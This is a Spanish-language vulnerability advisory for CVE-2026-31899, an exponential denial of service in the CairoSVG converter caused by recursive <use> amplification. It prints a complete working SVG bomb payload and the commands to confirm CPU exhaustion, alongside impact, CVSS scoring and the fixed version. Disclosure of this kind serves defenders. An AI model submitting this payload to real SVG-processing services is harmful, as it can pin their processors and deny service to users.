
CVE-2026-31899: DoS exponencial mediante amplificación recursiva del elemento <use> en CairoSVG (CVSS 7.5 Alto)
Palabras clave: CVE-2026-31899, CairoSVG, DoS exponencial, bomba SVG, elemento use recursivo, denegación de servicio, amplificación XML, vulnerabilidad SVG en Python, CWE-400, consumo descontrolado de recursos, SVG billion laughs
Denegación de servicio exponencial en CairoSVG (CVE-2026-31899) — Una carga útil SVG de 1.411 bytes fija la CPU al 100% indefinidamente mediante la amplificación recursiva del elemento .
CairoSVG (~300 000 descargas/semana) es un conversor de SVG a PNG/PDF muy utilizado en Python. La función use() en cairosvg/defs.py procesa recursivamente los elementos sin límites de profundidad ni de recuento. Con 5 niveles de anidamiento y 10 referencias en cada uno, un SVG pequeño provoca 10^5 = 100 000 llamadas de renderizado — una variante SVG de «billion laughs».
Descubierto por: Kai Aizen — SnailSploit Publicado: 13 de marzo de 2026 Puntuación CVSS: 7.5 (Alta) CWE: CWE-400 — Consumo descontrolado de recursos Paquete: CairoSVG (PyPI) Tipo de ataque: Denegación de servicio exponencial Privilegios requeridos: Ninguno (sin autenticación)
La función use() en cairosvg/defs.py (línea ~335) resuelve recursivamente elementos que referencian a otros elementos . No hay límite de profundidad de recursión ni presupuesto total de elementos. Un atacante puede crear un SVG pequeño donde cada capa referencia a la capa anterior N veces, produciendo O(N^profundidad) llamadas de renderizado a partir de una entrada de O(profundidad).
La vulnerabilidad existe porque:
Con 5 niveles y un factor de ramificación de 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Total: 111.111 llamadas de renderizado a partir de una entrada de 1.411 bytes.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Método 1 — Línea de comandos:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
Método 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Cualquier servicio que acepte entrada SVG y utilice CairoSVG para procesarla es vulnerable:
| Superficie de ataque | Ejemplo |
|---|---|
| Generación de miniaturas |
Una sola petición con una carga útil de 1,4 KB fijará el hilo de procesamiento indefinidamente mientras consume una memoria mínima (no habrá un kill por OOM que te salve).
Actualiza CairoSVG a la versión 2.9.0 o superior:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Fecha | Evento |
|---|---|
| 2026-03-09 | CVE reservado |
| 2026-03-13 | Aviso publicado (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 publicado con la corrección |
Kai Aizen (SnailSploit)
⚠️ Aviso legal: Este repositorio es solo para fines educativos y de investigación de seguridad autorizada. La prueba de concepto se proporciona para ayudar a los defensores a validar su exposición. Úsalo de forma responsable.
El informe completo, la metodología y la investigación relacionada de este proyecto se encuentran en:
Creado por Kai Aizen — investigador independiente de seguridad ofensiva.
snailsploit.com · Investigación · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
El mismo ataque. Diferente sustrato.
| Subir SVG → el servidor lo convierte a PNG |
| Generación de PDF | SVG incrustado en un documento → CairoSVG lo renderiza |
| Procesamiento de avatares/imágenes | Imágenes de perfil SVG subidas por el usuario |
| Renderizado de informes | Gráficos SVG en informes automatizados |
| Pipelines CI/CD | Recursos SVG procesados durante la compilación |
| Métrica | Valor |
|---|
| Vector de ataque | Red (AV:N) |
| Complejidad de ataque | Baja (AC:L) |
| Privilegios requeridos | Ninguno (PR:N) |
| Interacción del usuario | Ninguna (UI:N) |
| Alcance | Sin cambios (S:U) |
| Confidencialidad | Ninguna (C:N) |
| Integridad | Ninguna (I:N) |
| Disponibilidad | Alta (A:H) |